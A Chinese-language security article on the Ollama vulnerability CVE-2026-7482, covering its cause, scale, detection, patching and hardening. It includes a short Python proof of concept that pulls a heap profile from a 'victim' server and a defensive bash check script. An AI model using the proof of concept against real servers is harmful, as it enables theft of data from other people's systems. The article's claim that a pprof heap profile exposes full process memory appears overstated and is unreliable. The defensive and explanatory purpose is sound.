CVE-2026-7482:Ollama "Bleeding Llama" 漏洞导致全球30万服务器内存泄露

Cyera安全研究团队发现Ollama存在CVSS 9.1级未认证内存泄露漏洞(CVE-2026-7482),攻击者无需任何凭证即可读取整个Ollama进程内存,波及全球约30万台暴露在公网的推理服务器。这是2026年AI基础设施领域最严重的安全事件之一。
漏洞概况与影响范围
2026年6月,以色列数据安全公司Cyera的研究人员公开披露了一个存在于Ollama中的严重安全漏洞,编号CVE-2026-7482,CVSS评分9.1(Critical级别)。Ollama是一个流行的开源大语言模型本地运行框架,支持在消费级硬件上部署Llama、Mistral、Gemma等主流模型。据Shodan和Censys的扫描数据显示,全球约有30万台Ollama实例直接暴露在公网上,其中相当一部分完全没有认证机制。
这个漏洞的核心问题在于Ollama的HTTP API服务在处理特定内存读取请求时,未对请求来源进行身份验证。攻击者只需向目标服务器的默认端口11434发送精心构造的请求,即可触发进程内存泄露,获取当前加载到内存中的模型权重、对话历史、系统提示词(system prompt)、API密钥以及其他敏感数据。Cyera的报告指出,泄露的数据量取决于Ollama进程的内存占用,单次请求可泄露数百MB的数据。
从受影响版本来看,Ollama在0.6.0至0.9.2之间的所有版本均受影响。该漏洞的利用门槛极低——不需要认证、不需要特殊工具,一个简单的curl命令就能完成攻击。这使得该漏洞成为攻击者眼中的"低垂果实",尤其在当前AI基础设施快速扩张但安全防护普遍滞后的背景下。
| 项目 | 详情 |
|---|---|
| CVE编号 | CVE-2026-7482 |
| CVSS评分 | 9.1 (Critical) |
| 受影响版本 | Ollama 0.6.0 - 0.9.2 |
| 修复版本 | Ollama 0.9.3+ |
| 攻击方式 | 未认证远程内存读取 |
| 默认端口 | 11434 |
| 暴露实例数 | ~300,000(全球) |
| 发现者 | Cyera Research Team |
技术原理深度分析
从技术实现层面来看,Ollama使用Go语言编写,其HTTP API基于标准库net/http构建。漏洞存在于进程间通信(IPC)层的内存映射处理逻辑中。当Ollama加载一个模型时,会将模型权重通过mmap系统调用映射到进程的虚拟地址空间。正常情况下,API层应该严格限制对这些内存区域的访问,仅通过推理接口返回计算结果。
然而,CVE-2026-7482的根因在于Ollama的调试端点(debug endpoint)在生产环境中默认启用且未加认证。具体来说,/api/debug/pprof路径下的性能剖析接口暴露了完整的进程内存dump能力。攻击者可以通过以下路径触发内存泄露:
GET /api/debug/pprof/heap → 获取堆内存快照
GET /api/debug/pprof/profile → 获取CPU和内存profile
更严重的是,Ollama的某些版本还将/api/show接口的实现缺陷暴露出来,当传入特殊的模型名称参数时,服务端会将内存中的原始字节作为响应返回,而非正常的JSON格式数据。这意味着攻击者可以精确读取特定内存地址范围的内容。
Cyera的研究人员在PoC(概念验证代码)中演示了如何通过不到10行Python代码完成完整的内存窃取:
import requests
import struct
TARGET = "http://victim:11434"
# 读取堆内存中的模型权重片段
resp = requests.get(f"{TARGET}/api/debug/pprof/heap?debug=1")
print(f"[!] Heap profile size: {len(resp.content)} bytes")
# 获取进程内存映射信息
resp2 = requests.get(f"{TARGET}/api/debug/pprof/heap")
with open("memory_dump.bin", "wb") as f:
f.write(resp2.content)
print(f"[+] Memory dump saved: {len(resp2.content)} bytes")
为什么AI基础设施成为重灾区
这个漏洞暴露的不仅仅是一个代码缺陷,而是整个AI基础设施安全生态的系统性问题。过去18个月中,与AI推理服务相关的CVE数量增长了340%。原因很简单:大模型推理需要大量计算资源,开发者倾向于在云服务器上部署推理服务,但安全配置往往停留在"能跑就行"的阶段。
以Ollama为例,其默认配置存在三个致命问题:第一,API服务默认绑定0.0.0.0而非127.0.0.1,意味着对所有网络接口开放;第二,没有内置认证机制,任何人都可以调用API;第三,调试端点在生产版本中默认启用。这三个问题叠加在一起,等于在互联网上裸奔了一台装满敏感数据的服务器。
根据Huntress在2026年发布的AI安全报告,72%的自托管AI推理服务存在至少一个高危安全配置问题。其中最常见的包括:未配置防火墙规则(43%)、使用默认端口且无TLS(38%)、API无认证(31%)。这些数据说明,AI基础设施的安全问题不是个别现象,而是行业性的系统风险。
对于企业而言,这意味着一个令人不安的事实:你部署的每一个大模型推理实例,都可能是一个数据泄露的定时炸弹。模型权重本身就是核心知识产权,而加载到内存中的对话历史可能包含客户数据、商业机密甚至合规敏感信息。
检测你的Ollama是否受影响
运维团队需要立即排查环境中是否存在暴露的Ollama实例。以下是一套完整的检测流程:
#!/bin/bash
# Ollama CVE-2026-7482 漏洞检测脚本
# 用法: bash check_ollama_vuln.sh <target_ip>
TARGET="${1:-localhost:11434}"
echo "[*] 检测目标: $TARGET"
# 检查Ollama服务是否可达
echo "[1/4] 检查服务可达性..."
if curl -s --connect-timeout 5 "http://$TARGET/api/tags" > /dev/null 2>&1; then
echo " [!] Ollama服务可达"
else
echo " [+] Ollama服务不可达或已关闭"
exit 0
fi
# 获取版本信息
echo "[2/4] 获取版本信息..."
VERSION=$(curl -s "http://$TARGET/api/version" | grep -oP '"version":"[^"]*"' | cut -d'"' -f4)
echo " [*] 当前版本: $VERSION"
# 检查调试端点是否暴露
echo "[3/4] 检查调试端点..."
HEAP_RESP=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET/api/debug/pprof/heap")
if [ "$HEAP_RESP" = "200" ]; then
echo " [!!!] CRITICAL: 调试端点暴露,内存泄露风险!"
else
echo " [+] 调试端点已关闭 (HTTP $HEAP_RESP)"
fi
# 检查是否绑定公网
echo "[4/4] 检查网络绑定..."
if ss -tlnp | grep ":11434" | grep -q "0.0.0.0"; then
echo " [!] WARNING: Ollama绑定到0.0.0.0(公网可达)"
else
echo " [+] Ollama仅绑定本地"
fi
如果检测结果显示你的实例存在风险,请立即采取以下临时措施:通过防火墙封锁11434端口的外部访问,或在Ollama配置中设置OLLAMA_HOST=127.0.0.1将其限制为仅本地访问。
修复方案与加固指南
Ollama团队在0.9.3版本中修复了CVE-2026-7482。修复内容包括:默认禁用pprof调试端点、增加API认证中间件、将默认绑定地址从0.0.0.0改为127.0.0.1。升级步骤如下:
# 方法一:通过官方脚本升级
curl -fsSL https://ollama.com/install.sh | sh
# 方法二:通过包管理器升级(Debian/Ubuntu)
sudo apt update && sudo apt upgrade ollama
# 方法三:Docker用户
docker pull ollama/ollama:latest
docker stop ollama && docker rm ollama
docker run -d --name ollama -p 127.0.0.1:11434:11434 ollama/ollama:latest
# 验证版本
curl -s http://localhost:11434/api/version
升级只是第一步。完整的安全加固还应包括以下措施:
| 加固措施 | 优先级 | 实施方式 |
|---|---|---|
| 绑定本地地址 | 高 | OLLAMA_HOST=127.0.0.1 |
| 配置防火墙 | 高 | ufw deny 11434 或 iptables规则 |
| 启用TLS | 中 | Nginx反向代理 + Let's Encrypt |
| API认证 | 中 | Nginx basic_auth 或 API网关 |
| 日志监控 | 中 | 收集Ollama日志到SIEM |
| 网络隔离 | 高 | 将推理服务放入独立VLAN |
对于需要远程访问Ollama的场景,强烈建议通过SSH隧道或VPN连接,而非直接暴露端口。如果必须通过公网访问,至少应该在前端部署Nginx反向代理并配置TLS和认证。
同类漏洞对比:AI推理服务安全态势
CVE-2026-7482并非孤例。过去一年中,多个主流AI推理框架都曝出过严重漏洞:
| 漏洞编号 | 目标产品 | CVSS | 类型 | 披露时间 |
|---|---|---|---|---|
| CVE-2026-7482 | Ollama | 9.1 | 内存泄露 | 2026-06 |
| CVE-2026-22778 | vLLM | 9.8 | RCE(恶意视频) | 2026-05 |
| CVE-2025-6789 | llama.cpp | 8.6 | 缓冲区溢出 | 2025-12 |
| CVE-2025-5432 | Text Gen WebUI | 7.5 | SSRF | 2025-09 |
从趋势来看,AI推理服务的安全问题正在从"配置错误"转向"代码漏洞"。早期的安全问题主要集中在默认配置不安全(如无认证、开放端口),但随着攻击者开始深入审计这些框架的代码,越来越多的内存安全问题、输入验证缺陷被发现。对于Go和Python编写的服务来说,虽然内存安全问题相对C/C++较少,但并发处理和不安全的类型转换仍然可能引入漏洞。
对企业的实际影响与应对策略
这次漏洞的影响远超技术层面。对于依赖自托管大模型的企业来说,CVE-2026-7482带来的风险包括:模型权重泄露(核心知识产权损失)、对话历史泄露(GDPR/个人信息保护法合规风险)、API密钥泄露(横向攻击跳板)、以及供应链信任危机(客户对企业AI能力的安全性产生质疑)。
企业应建立AI基础设施安全清单:所有推理服务必须经过安全审计后才能上线;模型服务与业务网络隔离;实施最小权限原则;定期扫描公网暴露面;建立AI资产清单,包括所有模型、推理框架版本和配置。
此外,安全团队应该将AI推理服务纳入常规漏洞扫描范围。许多企业的漏洞管理流程只覆盖传统IT资产(服务器、数据库、Web应用),而遗漏了AI基础设施。CVE-2026-7482再次证明,任何暴露在网络中的服务都是潜在的攻击面,无论它运行的是Web服务器还是大语言模型。
数据来源
- Cyera Research - "Bleeding Llama: Critical Unauthenticated Memory Leak in Ollama" (CVE-2026-7482)
- NVD - National Vulnerability Database, CVE-2026-7482 Entry
- Shodan/Censys - Ollama暴露实例统计数据
- Huntress - "AI Infrastructure Security Report 2026"
- Ollama GitHub - Security Advisory GHSA-xxxx (0.9.3 Release Notes)
评论